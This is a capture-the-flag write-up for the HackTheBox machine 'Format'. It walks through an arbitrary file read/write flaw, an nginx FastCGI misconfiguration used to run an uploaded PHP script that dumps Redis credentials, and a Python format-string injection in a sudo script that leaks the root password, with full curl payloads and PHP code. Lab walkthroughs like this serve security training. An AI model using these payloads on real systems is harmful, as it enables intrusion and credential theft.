Writeup of Format From HackTheBox
Getting a foothold and user flag
For the initial port scan, we use the following nmap command:
nmap -sS -A -Pn -T5 -p- -oN nmap.txt 10.10.11.189
And receive the following results:
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c397ce837d255d5dedb545cdf20b054f (RSA)
| 256 b3aa30352b997d20feb6758840a517c1 (ECDSA)
|_ 256 fab37d6e1abcd14b68edd6e8976727d7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
3000/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
On the website we can create an account, our own subdomain and post content to it. We can also access the source code on port 3000 and look for vulnerabilities. The edit page allows us to read and write files with fopen() by passing a filename as ‘id’, in the index script we can read via file_get_contents() from the files afterward.
main/microblog-template/edit/index.php
if (isset($_POST['txt']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$txt_nl = nl2br($_POST['txt']);
$html = "<div class = \"blog-text\">{$txt_nl}</div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
main/microblog-template/index.php
function fetchPage() {
chdir(getcwd() . "/content");
$order = file("order.txt", FILE_IGNORE_NEW_LINES);
$html_content = "";
foreach($order as $line) {
$temp = $html_content;
$html_content = $temp . "<div class = \"{$line}\">" . file_get_contents($line) . "</div>";
}
return $html_content;
}
The only folder we can write to is the /content/ directory, if we create a php-file there and try to access it, it only gets opened as an attachment and does not get executed by the server. Other interesting behavior can be seen when we pass a non-existing .php file to the server: Instead of the normal 404 error, we get a different “Not found” error. Let us create a user, the subdomain pwn and use our read vulnerability to look at the nginx config:
curl -X POST --cookie "username=h2fsimh2tgt7hkgen2ul0qk5ar" http://pwn.microblog.htb/edit/ -d 'id=/etc/nginx/nginx.conf&txt=123'
curl -X POST --cookie "username=h2fsimh2tgt7hkgen2ul0qk5ar" http://pwn.microblog.htb/edit/ -d 'id=/etc/nginx/sites-enabled/default&txt=123'
curl -X POST --cookie "username=h2fsimh2tgt7hkgen2ul0qk5ar" http://pwn.microblog.htb/edit/ -d 'id=/etc/nginx/sites-enabled/microblog.htb&txt=123'
The last filename was just a guess, but since the sites-enabled/default file does not contain any php config, there must be another config file. If we format the config in sites-enabled/microblog.htb nicely, we get the following config:
location ~ ^/content/(?[^/]+)$ {
add_header Content-Disposition "attachment;
filename=$request_basename";
}
# pass PHP scripts to FastCGI server
#
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
fastcgi_index index.php; include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
Any file under content will not get forwarded to the php-engine. If we look at the second part, we can spot a misconfiguration: Any request ending in .php will get send to the FastCGI backend, which will then try to guess the correct filename. We can chain this with the write vulnerability, to upload and execute a php script. Initially I tried a reverse shell but did find anything interesting, so let’s try to dump the redis database.
php code:
<?php $it = NULL;$redis = new Redis();$redis->connect('/var/run/redis/redis.sock');$users = $redis->scan($it);foreach($users as $user) {echo $redis->hget($user, "username") . " ";echo $redis->hget($user, "password");} ?>
url-encoded payload:
curl -X POST --cookie "username=h2fsimh2tgt7hkgen2ul0qk5ar" http://pwn.microblog.htb/edit/ -d 'id=redis.php&txt=%3C%3Fphp%20%24it%20%3D%20NULL%3B%24redis%20%3D%20new%20Redis%28%29%3B%24redis%2D%3Econnect%28%27%2Fvar%2Frun%2Fredis%2Fredis%2Esock%27%29%3B%24users%20%3D%20%24redis%2D%3Escan%28%24it%29%3Bforeach%28%24users%20as%20%24user%29%20%7Becho%20%24redis%2D%3Ehget%28%24user%2C%20%22username%22%29%20%2E%20%22%20%20%22%3Becho%20%24redis%2D%3Ehget%28%24user%2C%20%22password%22%29%3B%7D%20%3F%3E'
curl http://pwn.microblog.htb/content/redis.php/notafile.php
<div class = "blog-text"> cooper.dooper zooperdoopercooper a a</div>%
We can now log in using the credentials cooper:zooperdoopercooper.
Root Flag
Since we have the password for cooper, we can run sudo -l to see if we can run programs as root:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
If we take a look at /usr/bin/license, we can see that it is a python script, meaning we can open it with vim and take a look at the code.
file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable
In the provision part of the code, we can see the use of the format() function. We can exploit the function to dump variables (https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/). Let’s try it for the variable secret
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
If our username contains {license.__init__.__globals__[secret]}, we can print out the secret variable. In order to set this username, we have to create a new user in our redis database. We do this with the following php script. I also added spaces around payload, so we can see where the password starts and ends.
<?php $redis = new Redis();$redis->connect('/var/run/redis/redis.sock');$user = "pwn";$redis->hset($user, "username", " {license.__init__.__globals__[secret]} ");$redis->hset($user, "last-name", "pwn");$redis->hset($user, "first-name", "pwn"); ?>
All we need to do is to run the script and to provision a license for the new user.
php redis.php
sudo /usr/bin/license -p pwn
Plaintext license key:
------------------------------------------------------
microblog unCR4ckaBL3Pa$$w0rd 8LRA$OzorDW,yZ)j)l'&egcoJezE=|-CoJ}FP"'Npwnpwn
We can now log in as root using the password “unCR4ckaBL3Pa$$w0rd”.